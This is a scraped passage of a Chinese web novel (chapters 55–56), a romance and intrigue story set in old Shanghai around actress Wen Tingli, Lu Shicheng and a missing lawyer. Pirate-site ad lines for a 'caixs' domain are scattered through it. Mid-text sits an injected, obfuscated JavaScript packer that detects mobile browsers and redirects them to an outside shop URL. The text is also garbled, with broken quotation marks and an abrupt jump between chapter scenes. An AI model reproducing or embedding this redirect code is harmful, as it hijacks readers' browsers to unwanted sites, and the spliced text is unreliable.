“还疼么?车厢也不甚明亮,她情不自禁想要凑近看一眼,却硬生生停住了。 陆世澄摇摇头,他眼珠子黑漆漆的,就那样看着她。 闻亭丽故作镇定要 开门:“我走了。” 陆世澄忽然拦了她一把闻亭丽立即屏住呼吸。 【你下礼拜天过生日?】 闻亭丽含笑嗯了一声 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节)小时候最期待生日因为母亲总会为她准备礼物这会儿被陆世澄这样郑重其事发问胸口便有一种暖心的感觉。 陆世澄也笑。 【好。】 闻亭丽禁不住他这样看着自己今晚无论是她自己还是陆世澄身上都静静地散发着一股危险的气息。 这气息会勾-引人让她心乱如麻。 再继续跟他待在车厢里又不知会发生什么她推开车门下车后跑了几步突又折回去。 陆世澄刚好也下车站定这段时日他总是会在后头看着她进楼开了灯之后再离开。 见状他一眼不眨看着她朝自己跑近。 “我想起来了吃饭的时候你问了那么多《南国佳人》的事难道你是觉得这部戏有什么不好吗?还是说你也觉得我一个学生不应该出来拍戏?或者说你觉得我这个角色——” 陆世澄被她一连串的发问逗笑了从衣兜里取出便笺簿写下一行字递给她。 【我没有任何看法这是你想做的事一切只需遵从你自己的意愿你觉得好那就是好。】 闻亭丽觉得自己的一颗心浸在玫瑰花瓣里她望着这段话直笑。 “好吧。”她满意地将纸条攥在手心里扭身就走忽又回身趁他不注意踮起脚尖在他脸上偷亲一口。 *** 回屋好一会儿闻亭丽依旧把头埋在被子里不动。 亲他的时候太慌乱她都没注意看他的表情。 有没有碰到他的伤处——绝对没有她亲的是他的脸离他的嘴唇那么远。 这一想不免记起两个人在电影院里接吻的情形脸颊简直要燃烧起来。 忽听到窗外汽车响向外一看正巧撞见陆世澄的车离去的光景原来他刚才一直在楼下没走也就是说在她上楼后七-八分钟后他才驾车离开。 在这样长的时间里陆世澄一个人都在车里想什么?闻亭丽从窗前回到妆台前一抬头自己先一呆镜子里的人嘴角弯弯的眼睛里像撒满了星光似的那样亮。 *** 许管事进书房送东西,一眼就看见陆世澄在灯下发呆。 许管事小心翼翼地将茶盏放在陆世澄手边。 这是今晚他亲手沏的第二杯茶了,第一杯被陆世澄失手打翻了。 当时他惊讶得说不出话,他从未见陆世澄这样神不守舍过。 可是,尽管陆世澄大部分时间都在发怔,但任谁都看得出他的心情非常好,是那种轻快的好法,坦荡的好法,让身边每个人都受到感染的好法。 究竟是年轻人!许管事不由也跟着高兴起来。 只是他始终不敢问陆世澄嘴上的伤究竟是怎么回事。 陆世澄心不在焉端起茶杯喝了口,忽似被蛰了一下,又把水杯放下。 许管事不由跟着嘶了一声,那伤口——多半是有点疼。 陆世澄倒仍是一种闲静的风度,冷不丁抬头看许管事一眼。 【什么事?】 许管事哪敢多话,忙不迭将一份东西搁到陆世澄面前:“哦,邝先生令人送来的。《南国佳人》剧组的演职人员档案,以及黄金影业公司所有演员名单,都在这里了,邝先生说澄少爷急等着用。” 陆世澄立即接过档案翻开一个一个看。 作者有话要说 第 55 章 【加更】修罗场。 第55章【加更】修罗场。 第二天一早,闻亭丽刚起床就接到了高筱文的电话。 “你今天怎么起这么早?”闻亭丽简直不敢相信自己的耳朵。 高筱文在那边呵欠连连。 “还不是因为知道再晚一点你就出门了。有件事昨晚就想跟你说来着怕引起陆小先生的误会就没说——那天我看到乔宝心了。” 昨晚高筱文吞吞吐吐原来是因为这个。 “喂,闻亭丽你在听吗?其实我跟乔宝心也不算很熟但彼此一直都知道对方。前几天我跟哥哥到孟公馆玩,才知道乔宝心最近躲在她表舅孟麒光处。她说她联考结束之后本来填报的上海的大学,但因为受不了父母的管制又临时改报了北平的大学。” 高筱文在那头喝了口水,继续往下说:“这下乔家可炸锅了。她父亲怀疑她是因为在外面结交了不好的朋友才敢不听话一怒之下将乔宝心禁了足逼她重新填报上海的大学,还安排她跟本地几个门当户对的小开相亲,乔宝心哪里肯,她最近认识了一个从北平来的姓佟的年轻律师两个人好像正偷偷交往呢。” “这事乔太太知道吗?” “乔宝心谁也没告诉,我也是偶然在她房里撞见她偷藏那人的照片,才知道她谈恋爱了。如今她是打着反对过早订婚的旗号跟家里抗争 “她听谁说我说得不好?” “我也不知道她从哪得来的消息,乔宝心那个人,向来很单纯的可能她因为她哥哥的事一直对你怀着愧意吧除非你过得处处遂心不然她对你总是过意不去的。” 闻亭丽暗想乔太太大概是不允许家里任何人提起她的名字宝心素来被家里管得极严。一个几乎与社会隔绝的千金小姐想来无处打听老同学的近况。 “她好像有什么急事要找你我怕你不想见他就没把你新家的电话告诉她。 闻亭丽却很坦然:“你帮 我告诉她吧我心里也挺挂念她的。” “那我马上给她打电话。” 刚洗漱完乔宝心的电话就打来了。 “亭丽你最近好吗?”乔宝心一副担忧的语气。 “我很好。”闻亭丽笑道“你最近怎么样?” “我们见一面好吗?上月回秀德参加毕业典礼黄老师把我们过去得的一些奖状都重新鑲裱了此外还有几张我们过去一起演出时照的集体照我想你是很愿意留个纪念的还有我自己也有些东西想送给你过些日子我可能就要去北平了往后见一面也难了。” 闻亭丽怔在那里过去的种种像影子似的浮过她心头。其实在乔太太联合校董会将她撵走之前秀德中学的一切都是亲切可爱的。尤其是黄老师和同学们当初曾不遗余力帮助她渡过难关。 算起来也好久没见黄老师她们了当即答应。“好我们今天下午在秀德附近的咖啡馆碰面如何?顺便去看望黄老师。” 乔宝心很为难:“我最近不能出门我现躲在我表舅这里一出门就会被我父亲的人抓回去要不——要不你到孟公馆来一趟?” 仿佛预料到闻亭丽会反对她强调:“你放心我表舅白天不在家家里只有我一个人我们两个说说话 听到这儿闻亭丽有点疑心乔宝心知道她跟孟麒光的事可是她认识乔宝心这么久从不曾见乔宝心算计过任何人思忖一会她主动打消了心里的疑惑。 不过她并未答应乔宝心的请求。 “要不等你自由一点我们再一起去秀德?或者你去北平的那天我去火车站送你吧主要是最近我实在抽不出空。” 乔宝心的语气充满惋惜:“你忙你忙你把我房间的电话记一下哪天你要是有空我这边也自由一点你就给我打电话。” 闻亭丽记下那号码。 刚要出门电话又响了。 连周嫂都诧异:“今早可真热闹该不是陆先生吧。” 她笑着去接。 闻亭丽又一次想起昨晚跟陆世澄在电影院里接吻的情景脸一下子变得滚烫不等周嫂靠近电话就火速抢过话筒。 “喂……”她软绵绵地开腔。 电话那头却是一个沉稳柔和的女声。 “平姐?!闻亭丽有些失落,是厉成英。 眼看周嫂去了厨房,这才压低嗓门说:“昨晚给您打过电话,可惜没打通。 “实在抱歉,后来我想给你回电话,又怕打搅你睡觉。关于你说的那个邓天星,我的人已经查到了一点东西,他的确在暗中调查你,几次到四马路那边雇人找记者买资料,详细情形等见面再说,这两天我们尽快碰一面。 闻亭丽感激不已,忙说好:“好。 “此外,今日找你,还因为想恳请你帮忙打听一个人。 “厉姐快别如此说,上次要不是你挺身而出,我和陆世澄未必能从白龙帮手里逃出来,有什么我能帮得上的,您只管说。 “我们有一个北平来的伙伴无故失踪了,一整晚我们都在找寻他的下落,在他失踪之前,好像跟秀德的一个女学生交往过,你也知道,谈恋爱这种事,女孩们大多不愿意对外声张,所以我们至今没查到他失踪之前究竟是跟哪个女学生在一起。我想起你之前在秀德念过书,由你去跟女孩子们打听,一定比其他人打听得更清楚。 “我马上试试,您把这人的资料告诉我。 “他姓佟,今年二十四岁,燕京大学法律系毕业的,今年三月份刚从北平来上海。 说完这话,厉成英半晌没听到闻亭丽回话。 “怎么了? 闻亭丽回过神来:“情况非常紧急么? “非常紧急,他手上有一些重要资料要交给我们,我们必须尽快联系到他,我这边已经派人到处打听消息了,但最快的途径莫过于直接找到跟他交往过的女学生问话,毕竟这孩子极可能是最后一个见到佟律师的人,可惜现在一切就像大海捞针一样。 “我明白了,晚上您等我回消息。 挂断电话,闻亭丽果断给乔宝心打过去。 *** 下午一从剧组出来,闻亭丽就叫一辆黄包车赶往孟公馆。 明天她得回公司参加《南国佳人》的试镜,晚上要跟陆世澄出去吃饭,算起来只有下午有充裕的时间去见乔宝心。 她决定速战速决。 走了没多远,车夫突然疑惑地回头张望。 “怎么? “我老觉得后头那辆车在跟踪我们。 闻亭丽装作不经意向后望,果见后头不远处有一辆黄包车,可是她这边一回头,那车就拐到另一条路上去了。 闻亭丽和车夫同时吁了口气。 孟公馆的位置有点偏,走了快一个钟头才到。 闻亭丽全程牢牢抓紧包里的手枪,一到地方,便抱着一包东西下车,她是第一次来孟麒光的私邸,透过黑色雕花铁门栏,能看见里面是一幢气派的半旧红砖洋房,是英式风格的建筑,前庭非常广阔。 她这边一按门铃,花园里就有狗狺狺吠起来。 过不多时,有个穿白袄黑裤的体面老妈子过来开门。 “是闻小姐吧?快请进。 闻亭丽并未立即入内,反而笑吟吟在大门口立定。“请问孟先生在家吗? “不在家,先生一早就出门了。 闻亭丽暗松一口气,她倒不至于自作多情到认为孟麒光现在还对她念念不忘,只是一想到孟麒光是个单身汉,她这样单枪匹马前来拜访,很容易惹出什么误会来,他不在家自然是最好。 进去后,闻亭丽尽量目不斜视,却仍不小心瞥见了门厅里的字画和地毯,孟麒光审美还算不俗,房内的布置处处透着一种简洁高雅的气息。 “宝心还在楼上吗?她站在楼梯口向上看。 “我们表小姐马上就下来。 “麻烦帮我通传一下,我想直接上去楼找她。 想起路上跟踪自己的那辆车,闻亭丽又说:“能不能借用一下贵府的电话。 刚给厉成英那边打完电话,乔宝心从楼下下来了。 “亭丽。她长高了不少,也瘦了不少,脸色有点苍白,满腹心事的样子,一下楼就握住闻亭丽的手,“你来,我们到这边小会客厅说话。 闻亭丽背对着下人把怀里的东西悄悄打开给乔宝心看。 乔宝心一愣,随即绽出灿烂的笑容,不假思索拉着闻亭丽上楼。 闻亭丽带来了一套剧组被淘汰的服装和头套,两人一进屋就忙活起来。 “你有许多日子不曾出去过了。闻亭丽把黑色的大卷发套到乔宝心的脑袋上,“我想我们难得见一面,一味躲 在屋子里说话也没趣,不如一起出去走一走散散心,你放心,你穿成这样上街,就连你父亲的人也不会认得出你的。” 乔宝心笑着说:“诶诶,你别把头□□得太紧,回来我自己不好拆。” 紧接着,闻亭丽找出剧组里给男演员用的粉膏往乔宝心脸上涂,过去在秀德念书时,两人没少在一起演话剧,对于怎样换装相当有经验,才一会工夫,乔宝心就变成了一个面色黑黄的中年太太。 两人在镜子里相视一笑。 “真丑!” “不丑怎么出门?” 打打闹闹拾掇一通,乔宝心已然恢复了往日的活泼,两个女孩手牵着手从屋里出来,乔宝心忽又想起什么:“瞧我,待会表舅回来看我不在家会担心的,我得先给他打个电话。还有,我要给你的东西也都没拿,你在门厅等我一会,” 闻亭丽只得先行下楼,下人大约是觉得让客人杵在门厅不符合孟家的待客之道,便将闻亭丽请到右手边的小会客厅坐下,不久又沏一杯花茶送过来。 忽听大门口传来声音,有人进了门厅。 “有客来了?”是个年轻男人的嗓音。 下人们忙应道:“对,是表小姐的同学,这会儿在小客厅坐着呢,刚奉过茶。” “宝心的同学?”孟麒光的口吻很随意,“她人呢?” 说话间孟麒光已然过了门厅,大约是有点好奇是哪位同学来找乔宝心,路过时漫不经心朝小客厅里瞧了瞧。 见是闻亭丽,他倏地站定了脚步。 闻亭丽只得起身问候:“孟先生好。” 孟麒光乜斜着眼睛打量闻亭丽,过片刻才淡声说:“原来是闻小姐,别来无恙。” “别来无恙。”闻亭丽沉稳地说。 孟麒光牵牵嘴角,扭头对身边人说:“好生款待闻小姐。” 撇下这句话,他拔步就要上楼,抬头看见一个穿蓝布旗袍的陌生中年太太下楼,不由吃了一惊。 “是我,表舅!”乔宝心忍笑下楼跑到孟麒光面前,“连你都没认出我吗?” “这是要做什么?”孟麒光一哂,“刚才吓我一跳。” “我想跟闻亭丽出去走一走。”乔宝心顽皮地说,“不装成这样没法出去嘛。” 孟麒 光心想,这主意一定是闻亭丽出的,转过头意味深长地瞄了闻亭丽好几眼,然而并未拆穿她,只回视乔宝心:“要用车么?我让小高送你们。” “不必了,我们只在附近走一走,很快就会回来的。” 孟麒光没再说什么,让人送她们出去,自行上楼去了。 从孟宅出来后,闻亭丽忍不住问乔宝心。 “孟先生会把今天的事告诉你母亲吗?” “放心吧,我表舅这人从不多嘴的,不然我也不会躲到他家里来。” 闻亭丽点点头,乔太太至今还很恨着她,听到这件事,说不定会到陆世澄面前编排点什么,陆世澄必然懒得理会,但她可不想给任何人在她和陆世澄之间挑弄是非的机会。 正因为不想在孟公馆多逗留,她才想出帮乔宝心换装的主意。 孟麒光大概一下子就猜中了她的心思,不然刚才也不会用那种神色看她,这人当真聪明得可怕。 他多半在心里嘲笑她自作多情吧——无所谓。 两人准备去公园附近随便找个地方坐坐,又怕碰到熟人,商量一番,叫了一辆黄包车去了附近的教会小学。 那间教会小学已关闭多年,环境比先头那一块冷僻许多,街上非但没几个行人,咖啡馆更是一家都没有,好不容易才在街角找到一家小吃店,店面也是脏脏的,可是这环境正合乔宝心的心意,两人马上进去找了张桌子坐下。 乔宝心有好一阵没能自由出门了,坐下后只是怅然望着街角发呆,闻亭丽却很警惕地不断观察周围情况。过了会,乔宝心歪头端详闻亭丽。 “你最近真过得好么,没骗我吧?”她握住闻亭丽的手背。 闻亭丽好奇:“你究竟听谁说我过得不好?” 乔宝心讪讪的,不过她还是照直把当时的情形说了。 “是在罗殊红家里听说的,你也知道罗殊红拍过电影嘛,她认识很多文艺界的人士,那晚不知谁提起黄金影业最近在筹拍一部大戏,有个人就说到了你,他说你的角色很快就要被人替换了,还说这事发生在你这样的新人身上一点也不出奇。我想你准备了那样久,突然演不成了,肯定不开心。” “简直是胡说八道,我自己怎么不知道我被人替换了,说这话的人是谁?” 多半是邓天星。乔宝心摇头:“当时他混在一大堆男宾里头,也没瞧见正脸,我嫌那边烟味太大,只远远地听着,后来我表舅过来,那人突然就不说了,我也就没过去追究。” 闻亭丽恨不得马上回公司一趟,但今天的正事还没办成,只得先按耐住, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589338|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反手握住乔宝心的手:“说说你的近况吧,你怎么瘦了这样多?最近跟家里闹得很不愉快吗?” 乔宝心的语气陡然激愤起来:“那个家我是一天也待不下去了!我祖父摆布了我哥哥的婚事还不够,又来安排我的婚姻,我是不会让他们得逞的!这次我非到北平去不可!” 闻亭丽眼里充满了同情,对于乔宝心的这番举动,她是一百个理解和赞成,但她并不认为事情会像乔宝心自己想的那样顺利,毕竟当初她哥哥乔杏初都没能扭过家里,乔宝心目前还在念书,又如何跟长辈斗?像乔家这样的旧式家庭,是绝不会允许儿女有自己的思想的。 不过她还是正色说:“有什么需要我帮忙的地方尽管同我说,你在北平有朋友吗?联系好学校了吗?这样贸然跑出去,我只担心你吃苦头,要不这样吧,我帮你托人在北平找几个靠得住的朋友。” 乔宝心感动地说:“亭丽,你真好。不过你毋需担心这些,学校那边已经有朋友帮我联络了,我的联考分数足够上女子师范大学,那边的招生处看过我的档案,已经同意录取我了。” 说到此处,乔宝心脸颊上忽而闪现一层可疑的红霞。 “朋友?你在北平有朋友?” 还得是关系匪浅的朋友,不然光是帮忙跑学校送档案,就要费很多工夫。 乔宝心大约也知道瞒不住闻亭丽,腼腆地点点头。“他姓佟,燕京大学法律系毕业的,这次就是他帮我联络的学校。” 在闻亭丽的追问下,乔宝心羞涩地说起了自己跟佟兆晖相识的经过。 她第一次听说佟兆晖的名字是在学校黄老师的口里,有一次学校请圣约翰大学的法律系教授来讲课,课后,黄老师颇有感触地说起自己一个穷邻居最近惹上了官非,明明是对方无理,邻居却拿不出钱来跟对方打官司,眼看手里的一点微薄积蓄全要赔出去,大伙都急得不得了,这时一个住在附近的姓佟的年轻律师听见此事,主动站出来帮黄老师的邻居免费打赢 了官司佟律师刚毕业自己也没什么钱却非常有正义感这已经不是他第一次义务帮人打官司了。之后有一次乔宝心去黄老师家里送东西凑巧在衖堂里见到了佟兆晖。 “我们……我们从此就算认识了。刚开始交往时他完全不清楚我家里的情况某一日他听说家里不顾我的意愿强行帮我安排相亲相当惊讶。我只好把我的痛苦和担忧告诉他他立即帮我联络北平的大学他鼓励我出去增长见闻劝我用心念书他说我只有在社会上尽早立足将来才能不再处处受管控。” 听到此处闻亭丽由衷替乔宝心高兴口里却打趣道:“他胆子真大他就不怕你们家告他一个拐骗罪?” “他什么也不怕 小说全网首发无弹窗免费阅读caixs⒕(请来才 小说 看最新章节 完整章节)他是我见过的最洒脱勇敢的人他已经做好准备帮我跟家里抗争了他说如果家里断了我的经济来源他就帮我支付我的学费和生活费反正他已经开始挣钱了。亭丽你不知道不管做什么事他都有自己的一套准则他父亲在北平某所中学教书母亲也是他家里虽然很清贫但家庭氛围是相当开明自由的。” 看得出乔宝心很喜欢佟兆晖她的眼睛里溢满了柔情。 “我听他的谈吐再听我父亲为我安排见面的那几个小开说话真是一刻也不能忍受有的人那样聪明有见识有的人却满脑子都是吃喝玩乐你说我见过佟兆晖那样的人之后怎么能够同意嫁给那几个头脑空空的纨绔子!亭丽你……” 她声音低下去:“你能理解我的感受吗?” “我理解我当然理解看样子北平那边他都帮你安排好了你打算哪一日动身?佟律师会跟你一起去吗?” 乔宝心的脸上骤然掠过一片阴影。 “我联系不上他这两天他就像突然消失了一样以往他每天日都会给我打两三个电话的这两天却一个电话也没有亭丽你说他是不是出什么事了?” 她担心地将两只手绞在一起好像下一秒就会哭起来闻亭丽定了定神宽慰她道:“别担心你知道亚乔姐吧她也是学法律的自打她去了包亚仁的律师事务所谋职隔三差五就会去外地办差经常我们也会联系不上她。没准佟律师也是这种情况我想他一办完差就会给你打电话的。” “可是——” “这样吧,你困在家里不好动,我去帮你打听打听。闻亭丽诚恳地说,“你记不记得佟律师最后一通电话跟你说的什么?他有没有说要去什么地方?或是说跟什么人在一起? 乔宝心低头思索。 “前天他是早上八点半打过来的,我听他那边闹哄哄的,就问他在哪儿。他说他在南市的陈家菜市场,刚一个人在路边吃了一份葱开面,还开玩笑说南市的葱开面比市里的好吃多了。我问他去南市做什么,他说有个当事人住在那里,双方约好了早上见面。 说的域名caixs?(请来才小 说 看最新章节 完整章节) “他当时是一个人? “应该是一个人,反正我没听到他跟别人说话,说完这些,他就说要去忙,电话就挂断了,再后来就——再这样下去,我只能托我表舅帮忙找人了,但表舅嘴再严,总归是我姆妈的弟弟,我跟佟兆晖交往这样的大事,连舅舅也不敢擅自作主帮我隐瞒,我姆妈得知我偷偷找了男朋友,准会闹得天翻地覆的。亭丽,我真不知道怎么办才好了。 闻亭丽默默在脑中记下这些信息,宽慰乔宝心说:“回头我偷偷帮你打听打听,我新近认识了一些报社的朋友,她们人面广,嘴也严,有她们暗中帮着打听消息,相信很快就会有线索的。别担心,在没找到佟律师之前,绝不会让你家里听到半点风声的。 乔宝心红着眼圈说:“本来是找你叙旧,没想到倒让你跟着挂心。 两人在咖啡馆门口分手,乔宝心怕出来久了叫舅舅担心,匆匆上了一辆黄包车先行离开,闻亭丽则留在原地找电话局。 这地方实在太冷清,找来找去也不见电话局,最后还是马路对面的一间广东商行才找到公共电话,这是是间老字号,专门经营海货和燕窝,生意不太好,里头的职员竟比顾客还多。 电话设在商行二楼走廊尽头的盥洗室。 到了楼上,闻亭丽握住话筒机警地张望四周,偌大一条走廊只有她自己,张望一会,稍稍放了心,电话接通后,她低声将佟兆晖失踪前的情况一五一十告诉了厉成英。 厉成英如获至宝。 “人竟是在南市失踪的?!难怪!谢谢你小闻,终于有点头绪了。 闻亭丽很清楚厉成英的能力有多出众,白龙帮绑架朱紫荷母亲的那次,就是厉成英在很短时间内查到了朱 第 56 章 吃醋。 第56章吃醋。 看护一边说,一边端起水碗近前给闻亭丽喂水。 闻亭丽笑着说:“我又不是动弹不了,我自己来就行了。” “闻小姐今天可不好乱动的,大夫走之前特地交代让好好养着,以免造成什么习惯性——”看护虽然在医院做惯了,但要复述大夫们说的专业术语却是不易,琢磨半天也没能成功想起那个词。 闻亭丽心知多半是乱动会导致伤情恶化之类的词,忍笑点头:“好,我听大夫的,我不动就是了。” 陆世澄推门进来时,闻亭丽正乖乖地就着看护手里的勺子喝下第一勺水,她一时间无法开口说话,只得用一双灵动如水的眼睛觑着陆世澄。 任谁见了这一幕,都会被闻亭丽这可爱亲呢的表情所逗笑,陆世澄却有点笑不出来,闻亭丽胳膊的血痕已经被擦干净了,但他忘不掉先前那刺心的一幕。 他顺手从看护手里接过水碗。 【我来。】 看护忙退出去,闻亭丽乖乖张口喝水。 陆世澄喂得很小心,很仔细,每次只舀半勺,稳稳当当送到闻亭丽的唇边,由于富于耐心,他做得比看护更专业,从头到尾一滴水都没洒出来。 闻亭丽嘴里喝着水,视线却在陆世澄脸上和身上滴溜溜打转。尽管陆世澄的表情看上去跟平日没什么两样,但她隐约感到他的情绪有点低落,她还看见他的前襟上沾了不少血。 可见事发到现在,他还没来得打点自己。 她轻轻对他摇摇头。 “够了,我不喝了。” 陆世澄把碗放到一边,抬手摸摸闻亭丽的额头。 “我没发热……不,我现在不想吃水果,你别光在那儿照顾我,你也坐下歇一歇。” 陆世澄默了一会。 【你再跟我详细说说当时的情形,那凶徒长什么样,从哪儿跟上你的。】 一说到这个,闻亭丽就十分气愤,“他跑得太快,我只瞧见他的后脑勺,他很壮,个头约莫有这么高——” 她努力抬起胳膊比划那人的身量,陆世澄眼皮一跳,下意识按住她的手。 闻亭丽抬眸看见陆世澄的神色,不禁一笑:“瞧你吓的,我不乱动,你别那 样看着我。可是怎么办,我现在连凶徒的模样都说不出来,我们上哪去找这个人?! 奇怪陆世澄好像一点也不急,想了想问。 【今天你怎么想到去那地方?这一路有没有感觉有人在跟踪你?】 “我——闻亭丽顿了顿,“我上午一直在摄影棚,中午跟秀德的一名同学约好下午在麦根路的一家小吃店碰面,她有一些秀德的毕业纪念品要转交给我,一从戏棚出来我就觉得不太对劲,不只我这样觉得,连车夫也觉得,但我们都没瞧见身后有什么可疑的人,后来我跟同学在小吃店坐了一会,期间也无任何异常,就出来了。我猜,那人早在戏棚附近就跟上了我。 说到此处,她自己下了结论。 “我老觉得,这个人推我的目的是想破坏我明天的试镜,我甚至怀疑就是我们公司内部的人干的! 这个猜测与陆世澄设想不谋而合。 【后来你就去了街对面的广东商行,然后凶徒在二楼对你下了手?】 闻亭丽顿了顿,她无法解释自己为何那么急要找公共电话打电话。 若只有乔宝心的事,其实也没什么不能对陆世澄说的,偏偏当中还牵扯到地下爱国组织的成员——佟兆晖律师,此事事关重大,在厉成英找到佟律师之前,她绝不能对外泄漏半句。 “我心里不大踏实,就跑到对面给你打了个电话,你们银行的经理说你不在,我就准备下楼,紧接着那人就跑到我身后暗算我了。 陆世澄静静地谛视着她。 闻亭丽隐约觉得喉头发干,她怀疑他能听见自己急促的心跳声。 好在陆世澄最终没说出什么,只是很信任地摸摸她的脑袋。 【好,我知道了。】 闻亭丽暗自松了口气,心一稳,她就有点躺不住了,她愉悦地望他。“你还没告诉我呢,你怎么来得这样及时,你是飞过来的吗? 陆世澄终于笑了。每回他一笑,眼睛里就像星光乍现似的,好看得让人挪不开眼睛。 【下午我正好在这家医院有点事,邝志林一给我打电话我就赶过去了。】 闻亭丽怔怔看着他,所以他才会后怕成这样。 假如他今天正好不在这边,她岂不是—— 她感到无比庆 幸,轻轻勾住陆世澄的小指。 大约也知道这样小的幅度不会影响到另一侧的伤,这次陆世澄没有把她的手摁回被子里,只是顺势低头吻了吻她的指尖。 这间病房很静谧,秋阳从窗外探入,正好直射床边的陆世澄身上,他坐在那儿,就像坐在一层金灿灿的纱帐中似的,她不好意思老是盯着他看,干脆转眸望着天花板,也不知过了多久,她又偷偷瞄他一眼,竟看见他闭着的睫毛在轻颤。 他的情绪并不如他表面上那样平静。 他在懊恼,在自责。 她轻声细语问他:“下午你一直在医院?你不舒服吗? 陆世澄很坦然地指指自己的喉咙。 “嗓子不舒服?闻亭丽有点茫然,蓦然睁大眼睛,“你是说,你在治疗你的哑疾? 陆世澄露出笑容,点点头,忽听门外的随从敲门:“澄少爷,邝先生来了。 邝志林带来了一大堆补品和水果,进来后关切地端详闻亭丽的脸色。“怎么样,伤势严不严重?这歹徒真是可恨至极!闻小姐,请你务必放心,凶徒绝对逃不掉。 邝志林一向会做人,这一点闻亭丽早就清楚,无论在什么场合,他说出来的话做出来的事都让人觉得熨贴无比。她感激地冲他一笑:“我真过意不去,叫邝先生也跟着担心。 邝志林在床边寒暄了几句,笑着对陆世澄说:“有两桩重要的事要向您汇报。 陆世澄望一眼闻亭丽,闻亭丽忙说:“我没事。 陆世澄把看护叫回来,在一旁很注意地观察看护照料闻亭丽的光景,确定看护还算仔细之后,这才放心出去。 两人一前一后进了走廊尽头的一间贵宾会客室,邝志林掩上房门。 “上次那人又给报社投文章了,被我们的人及时截住了。这次投递的对象是主登文艺界新闻的小报《影评报》和《电影之花》,稿子是今天现写出来的,还热乎着呢。 【人有人路,妖有妖道!近日,为了争取《南国佳人》女主角的名额,交际花闻亭丽小姐再出新招,前日忙着约某位大户公子看电影,今日又打扮得花枝招展造访另一位富绅,真可谓‘左右逢源’,‘脚踏数只船而不翻船’。闻小姐如此深谙名利场中的游戏规则,想来《南国佳人》女 主角已经非她莫属,凭此片的制作规模,闻小姐红遍沪上指日可待。】 像上次那样,文章后面附着好些照片。 第一张是在卡尔登电影院门口拍的,照片里的闻亭丽准备上一辆汽车,镜头很小心地只拍了陆世澄的侧影,但谁都能看出闻亭丽是跟一位衣着体面的富家公子在一起。 后面几张照片的拍摄地点则是在一幢大宅门口,闻亭丽笑吟吟地随着一位下人进入大门,镜头一直追着闻亭丽,直到她的身影消失在主屋为止。 第一批照片陆世澄只草草翻了下。 翻到第二批照片时,他的目光半晌没挪开。 “这是今天下午才洗出来的,我已经令人查过了——邝志林犹豫一下,最后还是说了,“那是孟麒光的住处。 【所以呢?】陆世澄毫不在意地把照片扔到茶几上。 “我是笑这人手段拙劣,竟用这种低级的法子来败坏闻小姐的名声,闻小姐一心要抓凶手,想必早已将今天自己去过哪些地方都一一告诉澄少爷了。 说这话时,邝志林不忘鉴貌辨色,眼看陆世澄并没有要接话头的意思,只得转换话题。 “据广东商行的人说,那壮汉的确是在闻小姐上楼不久之后才上的楼,因他穿着还算体面,店里的人也就没太在意,闻小姐上楼后一直在走廊尽头打电话,第一个电话大概打了一分多钟,第二个电话倒是没说两句就挂了—— 陆世澄目光一抬。 【她一共打了两个电话?】 邝志林不明就里,点头道:“店里的职员是这样说的,再后来,就听见闻小姐从楼梯上滚下来。刚才周威他们回话说已经查到些门路了,最迟明天就能逮到人。 【别明天了,我要今晚就见到凶徒本人。】 陆世澄在便笺簿上写下一个名字交给邝志林, “果真是他?!好,我马上令人去办。 邝志林快步走到桌边打了一通电话,回来就看见陆世澄仍望着桌上的照片发呆。 陆世澄的眸光很深,很静,不知在想什么。 邝志林在一旁焦灼地踱了两步,忍不住说出自己心里的疑惑。 “恕我直言,我实在想不通闻小姐为什么非要在那条街上打电话,明明再走两条街就 有很繁华的洋行和百货公司了,况且据广东商行的店员说,那并非是对外开放的公共电话,而是他们内部用来盘货的电话,闻小姐同他们借电话时声称‘自己有很急的事’,店员看她那样着急,才同意她用电话。” 陆世澄淡淡睨一眼邝志林。 【你想说什么?】 邝志林苦笑:“我只是怀疑闻小姐打电话的事与凶徒暗算她的动机有关,所以才在店里多打听了几句。从拨线的时间上来看,闻小姐的第二个电话是打给了澄少爷的办公室,但第一个电话却很神秘,是一个静安寺附近的一个公共号码,我猜,这通电话才是闻小姐急于借电话的真正原因。此外,还有一件事让我想不通,闻小姐跟孟麒光此前有过来往么,下午闻小姐为何专门请假去孟公馆?” *** 邓天星仰靠在沙发靠背上,对着天花板得意洋洋吐出个烟圈。 肩膀忽被人从后面拍了一下。 “你不是说有一个好消息要告诉我吗?” 罗殊红边说边在沙发对面坐下,她身上穿着一套刚从巴黎schiaparelli’s买来的红色套装,整个人艳丽如芍药。 邓天星用一双狭长的丹凤眼上下打量罗殊红,嘴边浮起一抹懒洋洋的笑容。“殊红,你真美。” 罗殊红显然不吃这一套。“你不是晚上还要回摄影棚拍戏吗,怎么这会儿约我出来?说吧,到底什么事?“ 邓天星不紧不慢将手上的东西递给罗殊红。 “你抓紧时间看一看,争取尽快进入角色。” “《南国佳人》的剧本?”罗殊红诧道,“给我看做什么?这部戏不是早都定好演员了。” “谁说定好了?”邓天星神秘一笑,“你没看到最近黄导演总跟那几个公司元老吵架吗?过去这两年,黄导因为执意要按照她的想法来做片子,已经连赔了好几部,等到筹拍《南国佳人》的时候,公司的账面上已经没什么流动资金了,得亏拉来飞迪儿影视公司的几位老板进行投资,不然这部戏拖到明年也没办法开拍。” “真的?!” “我骗你做什么。”邓天星笑得很开心,“这可是我在经理办公室门外亲耳听到的。可以说,这部《南国佳人》决定着黄金影业今后的生死存亡,现在公司元老们 的意见很统一:不如找一位有观众基础的女明星来担任女主角这样上映时不至于一点号召力都没有几位制片人也坚决反对找一位名不见经传的新人来当主演这几日黄导一直在跟他们吵!不过她马上就要撑不下去了。” 他坏坏地笑起来。 “可是这与我有什么关系?”罗殊红沮丧地说“实不相瞒这部戏刚开始筹拍我就找黄导做过自我推荐她一口就回绝了我就算闻亭丽不演她也不会答应让我演的。” 